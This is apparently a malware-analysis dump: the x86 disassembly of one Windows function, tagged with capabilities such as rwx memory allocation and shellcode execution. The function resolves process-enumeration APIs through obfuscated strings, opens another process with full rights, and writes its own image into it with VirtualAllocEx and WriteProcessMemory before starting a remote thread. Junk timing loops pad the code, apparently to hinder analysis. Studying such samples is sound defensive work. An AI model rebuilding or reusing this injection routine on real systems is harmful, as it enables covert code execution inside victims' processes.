Function at 0x13154b82
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Read file on windows
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x144
mov eax, dword [0x13183360]
xor eax, esp
mov dword [esp + 0x140], eax
mov eax, dword [esp + 0x148]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x158]
push edi
mov dword [esp + 0x18], eax
call esi
mov ebp, dword [sym.imp.KERNEL32.DLL_CreateFileA]
xor ebx, ebx
cmp eax, ebx
mov dword [0x131843e0], eax
mov edi, str.djbh33
je 0x13154c11
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154c11
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13154c11
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154c45
call esi
add eax, dword [0x131843d4]
add eax, dword [esp + 0x10]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154c25
fld dword [0x13160288]
fstp dword [esp + 0x28]
fld dword [0x13160200]
fst dword [esp + 0x2c]
fld dword [0x13160284]
fst dword [esp + 0x30]
fld dword [0x13160280]
fstp dword [esp + 0x34]
fxch st(1)
fst dword [esp + 0x38]
fld dword [0x1316027c]
fst dword [esp + 0x3c]
fld dword [0x13160278]
fstp dword [esp + 0x40]
fld dword [0x13160274]
fstp dword [esp + 0x44]
fld dword [0x13160270]
fstp dword [esp + 0x48]
fld dword [0x13160204]
fst dword [esp + 0x4c]
fxch st(1)
fst dword [esp + 0x50]
fstp dword [esp + 0x54]
fldz
fst dword [esp + 0x58]
fld dword [0x1316026c]
fstp dword [esp + 0x5c]
fxch st(3)
fst dword [esp + 0x60]
fxch st(2)
fst dword [esp + 0x64]
fld dword [0x13160268]
fst dword [esp + 0x68]
fld dword [0x13160264]
fst dword [esp + 0x6c]
fxch st(2)
fst dword [esp + 0x70]
fld dword [0x13160218]
fstp dword [esp + 0x74]
fst dword [esp + 0x78]
fld dword [0x1316020c]
fstp dword [esp + 0x7c]
fld dword [0x13160208]
fstp dword [esp + 0x80]
fxch st(2)
fstp dword [esp + 0x84]
fxch st(1)
fst dword [esp + 0x88]
fld dword [0x13160260]
fstp dword [esp + 0x8c]
fld dword [0x1316025c]
fstp dword [esp + 0x90]
fxch st(3)
fstp dword [esp + 0x94]
fxch st(2)
fstp dword [esp + 0x98]
fxch st(1)
fstp dword [esp + 0x9c]
fstp dword [esp + 0xa0]
fstp dword [esp + 0xa4]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13154db8
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154db8
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13154db8
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154dec
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154dcc
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13154e45
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154e45
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call ebp
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13154e45
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
xor ebp, ebp
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154e75
call esi
add eax, ebp
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc ebp
cmp ebp, 0xd
jl 0x13154e57
fldz
xor ebp, ebp
lea ecx, [esp + ebp*4 + 0x28]
fcom dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13154eaa
fld dword [ecx]
call fcn.13155f10
mov byte [esp + ebp + 0xd0], al
mov byte [esp + ebp + 0xd1], bl
inc ebp
cmp ebp, 0xfffff
jl 0x13154e7f
xor ebp, ebp
lea ecx, [esp + ebp*4 + 0x5c]
fcom dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13154ed7
fld dword [ecx]
call fcn.13155f10
mov byte [esp + ebp + 0x110], al
mov byte [esp + ebp + 0x111], bl
inc ebp
cmp ebp, 0xfffff
jl 0x13154eac
fstp st(0)
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13154f2f
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154f2f
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov ebp, dword [sym.imp.KERNEL32.DLL_ReadFile]
mov dword [0x131843d0], eax
je 0x13154f35
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x13154f35
mov ebp, dword [sym.imp.KERNEL32.DLL_ReadFile]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154f69
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154f49
push str.CreateToolhelp32Snapshot
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x131843c0], eax
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13154fe1
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154fe1
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13154fe1
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155015
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154ff5
push str.Process32First
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x131843c4], eax
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x1315508d
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315508d
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x1315508d
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131550c1
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131550a1
push 0x13160220
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x131843c8], eax
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13155139
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155139
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13155139
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315516d
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315514d
lea eax, [esp + 0x110]
push eax
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x131843cc], eax
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131551e8
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131551e8
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131551e8
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315521c
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131551fc
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [esp + 0x20], eax
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13155280
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155280
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13155280
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131552b4
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13155294
push dword [esp + 0x18]
call fcn.13154782
cmp eax, ebx
pop ecx
mov dword [esp + 0x18], eax
jne 0x131552d8
xor eax, eax
jmp 0x13155995
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13155326
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155326
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13155326
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315535a
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315533a
push dword [esp + 0x18]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
cmp eax, ebx
mov dword [esp + 0x14], eax
je 0x131552d1
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131553cf
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131553cf
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131553cf
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155403
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131553e3
push 0x8000
push ebx
push dword [esp + 0x28]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13155470
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155470
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13155470
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131554a4
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13155484
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x50]
push pe_nt_image_headers32
push 0x3000
push ecx
push eax
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov dword [esp + 0x1c], eax
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x1315551f
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315551f
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x1315551f
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155553
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13155533
cmp dword [esp + 0x1c], ebx
je 0x131552d1
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131555b6
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131555b6
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131555b6
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131555ea
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131555ca
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13155643
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155643
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13155643
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
mov dword [esp + 0x10], ebx
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155677
call esi
add eax, dword [esp + 0x10]
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13155657
push 0x1c
lea eax, [esp + 0xb8]
push eax
push dword [esp + 0x24]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131556e8
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131556e8
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131556e8
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call ebp
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
xor ebp, ebp
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155718
call esi
add eax, ebp
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc ebp
cmp ebp, 0xd
jl 0x131556fa
cmp dword [esp + 0xc8], 1
je 0x131557cf
mov ebp, 0x1000
mov eax, dword [esp + 0xc0]
cmp eax, ebx
je 0x131557cf
test word [esp + 0xc8], 0x100
jne 0x131557a5
cmp eax, ebx
mov dword [esp + 0x18], ebx
jbe 0x131557a5
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x10], eax
lea eax, [esp + 0xa8]
push eax
push pe_nt_image_headers32
push ebp
push dword [esp + 0x1c]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
lea eax, [esp + 0xac]
push eax
push ebp
push dword [esp + 0x18]
push dword [esp + 0x1c]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
add dword [esp + 0x18], ebp
mov eax, dword [esp + 0xc0]
add dword [esp + 0x10], ebp
cmp dword [esp + 0x18], eax
jb 0x1315575c
add dword [esp + 0x1c], eax
push 0x1c
lea eax, [esp + 0xb8]
push eax
push dword [esp + 0x24]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
cmp dword [esp + 0xc8], 1
jne 0x13155731
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x13155821
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155821
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x13155821
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
xor ebp, ebp
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155851
call esi
add eax, ebp
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc ebp
cmp ebp, 0xd
jl 0x13155833
lea eax, [esp + 0xb0]
push eax
push ebx
push dword [esp + 0x28]
push dword [esp + 0x30]
push ebx
push ebx
push dword [esp + 0x2c]
call dword [0x131843cc]
test eax, eax
je 0x131552d1
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x131558ce
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131558ce
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x131558ce
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
xor ebp, ebp
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131558fe
call esi
add eax, ebp
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc ebp
cmp ebp, 0xd
jl 0x131558e0
push dword [esp + 0x14]
mov ebp, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call ebp
call esi
cmp eax, ebx
mov dword [0x131843e0], eax
je 0x1315595e
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315595e
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x131843d0], eax
je 0x1315595e
push ebx
push 0x131843dc
push 4
push 0x13184340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131843d0]
call ebp
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
add dword [0x131843d4], eax
push 0x131601e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315598c
call esi
add eax, ebx
add eax, dword [0x131843d4]
mov dword [0x131843d8], eax
inc ebx
cmp ebx, 0xd
jl 0x1315596e
xor eax, eax
inc eax
mov ecx, dword [esp + 0x150]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.13155e7a
add esp, 0x144
ret